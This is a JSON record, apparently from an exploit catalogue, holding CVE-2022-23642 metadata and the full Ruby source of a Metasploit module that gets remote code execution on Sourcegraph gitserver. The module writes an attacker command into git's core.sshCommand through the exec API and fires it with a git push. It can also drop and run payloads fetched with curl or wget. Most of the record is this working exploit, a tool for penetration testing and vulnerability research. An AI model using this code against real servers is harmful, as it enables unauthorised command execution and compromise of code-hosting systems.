{"exploit":{"id":"MSF-linux--http--sourcegraph_gitserver_sshcmd","name":"Sourcegraph gitserver sshCommand RCE","description":"A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the commands that are able to be executed through the git exec REST API.","cves":["CVE-2022-23642"],"author":"Altelus1, Spencer McIntyre","published":"2022-02-18","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb","path":"modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"sourcegraph_gitserver_sshcmd.rb","vulnerabilities":[{"id":"CVE-2022-23642","state":"PUBLISHED","title":"Code Injection in Sourcegraph","titleSource":"CVE Program","description":"Sourcegraph is a code search and navigation engine. Sourcegraph prior to version 3.37 is vulnerable to remote code execution in the `gitserver` service. The service acts as a git exec proxy, and fails to properly restrict calling `git config`. This allows an attacker to set the git `core.sshCommand` option, which sets git to use the specified command instead of ssh when they need to connect to a remote system. Exploitation of this vulnerability depends on how Sourcegraph is deployed. An attacker able to make HTTP requests to internal services like gitserver is able to exploit it. This issue is patched in Sourcegraph version 3.37. As a workaround, ensure that requests to gitserver are properly protected.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2022-23642","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2022-23642"},"updatedAt":"2025-04-22T18:21:53.481Z","retrievedAt":"2026-11-25T20:52:51.638Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--sourcegraph_gitserver_sshcmd.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--sourcegraph_gitserver_sshcmd","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--sourcegraph_gitserver_sshcmd/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--sourcegraph_gitserver_sshcmd/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n  Rank = ExcellentRanking\n\n  prepend Msf::Exploit::Remote::AutoCheck\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::CmdStager\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Sourcegraph gitserver sshCommand RCE',\n        'Description' => %q{\n          A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute\n          arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can\n          then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a\n          feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the\n          commands that are able to be executed through the git exec REST API.\n        },\n        'Author' => [\n          'Altelus1', # github PoC\n          'Spencer McIntyre' # metasploit module\n        ],\n        'References' => [\n          ['CVE', '2022-23642'],\n          ['URL', 'http://web.archive.org/web/20230705082819/https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9'],\n          ['URL', 'https://github.com/Altelus1/CVE-2022-23642'],\n        ],\n        'DisclosureDate' => '2022-02-18', # Public disclosure\n        'License' => MSF_LICENSE,\n        'Targets' => [\n          [\n            'Unix Command',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_memory\n            },\n          ],\n          [\n            'Linux Dropper',\n            {\n              'Platform' => 'linux',\n              # when the OS command is executed, it's executed twice which will cause some of the command stagers to\n              # be corrupt, these two work even for larger payloads because they're downloaded in a single command\n              'CmdStagerFlavor' => %w[curl wget],\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :linux_dropper\n            },\n          ]\n        ],\n        'DefaultOptions' => {\n          'RPORT' => 3178\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'Base path', '/']),\n      OptString.new('EXISTING_REPO', [false, 'An existing, cloned repository'])\n    ])\n  end\n\n  def check\n    res = send_request_exec(Rex::Text.rand_text_alphanumeric(4..11), ['config', '--default', '', 'core.sshCommand'])\n    return CheckCode::Unknown('Could not determine the target status') unless res\n\n    if res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/\n      # this is the response if the target repo does exist, highly unlikely since it's randomized\n      return CheckCode::Vulnerable('Successfully set core.sshCommand.')\n    elsif res.code == 404 && res.body =~ /\"cloneInProgress\"/\n      # this is the response if the target repo does not exist\n      return CheckCode::Vulnerable('The target is vulnerable')\n    elsif res.code == 400 && res.body =~ /^invalid command/\n      # this is the response when the server is patched, regardless of if there are cloned repos\n      return CheckCode::Safe('The target is not vulnerable')\n    end\n\n    CheckCode::Unknown('Could not determine the target status')\n  end\n\n  def exploit\n    if datastore['EXISTING_REPO'].blank?\n      @git_repo = send_request_list.sample\n      fail_with(Failure::NotFound, 'Did not identify any cloned repositories on the remote server.') unless @git_repo\n\n      print_status(\"Using automatically identified repository: #{@git_repo}\")\n    else\n      @git_repo = datastore['EXISTING_REPO']\n    end\n\n    print_status(\"Executing #{target.name} target\")\n\n    @git_origin = Rex::Text.rand_text_alphanumeric(4..11)\n    git_remote = \"git@#{Rex::Text.rand_text_alphanumeric(4..11)}:#{Rex::Text.rand_text_alphanumeric(4..11)}.git\"\n    vprint_status(\"Using #{@git_origin} as a fake git origin\")\n    send_request_exec(@git_repo, ['remote', 'add', @git_origin, git_remote])\n\n    case target['Type']\n    when :unix_memory\n      execute_command(payload.encoded)\n    when :linux_dropper\n      execute_cmdstager\n    end\n  end\n\n  def cleanup\n    return unless @git_repo && @git_origin\n\n    vprint_status('Cleaning up the git changes...')\n    # delete the remote that was created\n    send_request_exec(@git_repo, ['remote', 'remove', @git_origin])\n    # unset the core.sshCommand value\n    send_request_exec(@git_repo, ['config', '--unset', 'core.sshCommand'])\n  ensure\n    super\n  end\n\n  def send_request_exec(repo, args, timeout = 20)\n    send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, 'exec'),\n      'method' => 'POST',\n      'data' => {\n        'Repo' => repo,\n        'Args' => args\n      }.to_json\n    }, timeout)\n  end\n\n  def send_request_list\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, 'list'),\n      'method' => 'GET',\n      'vars_get' => { 'cloned' => 'true' }\n    })\n    fail_with(Failure::Unreachable, 'No server response.') unless res\n    fail_with(Failure::UnexpectedReply, 'The gitserver list API call failed.') unless res.code == 200 && res.get_json_document.is_a?(Array)\n\n    res.get_json_document\n  end\n\n  def execute_command(cmd, _opts = {})\n    vprint_status(\"Executing command: #{cmd}\")\n    res = send_request_exec(@git_repo, ['config', 'core.sshCommand', cmd])\n    fail_with(Failure::Unreachable, 'No server response.') unless res\n    unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/\n      if res.code == 404 && res.get_json_document.is_a?(Hash) && res.get_json_document['cloneInProgress'] == false\n        fail_with(Failure::BadConfig, 'The specified repository has not been cloned.')\n      end\n\n      fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.')\n    end\n\n    send_request_exec(@git_repo, ['push', @git_origin, 'master'], 5)\n  end\n\nend\n","sha256":"798e76aa6a8ea596a19ccb0cab11ae7d1fbe001de76dea29451319251c71420d","bytes":6222,"fetchedAt":"2026-11-26T11:43:53.764Z","encoding":"utf-8 (display only; download retains original bytes)"}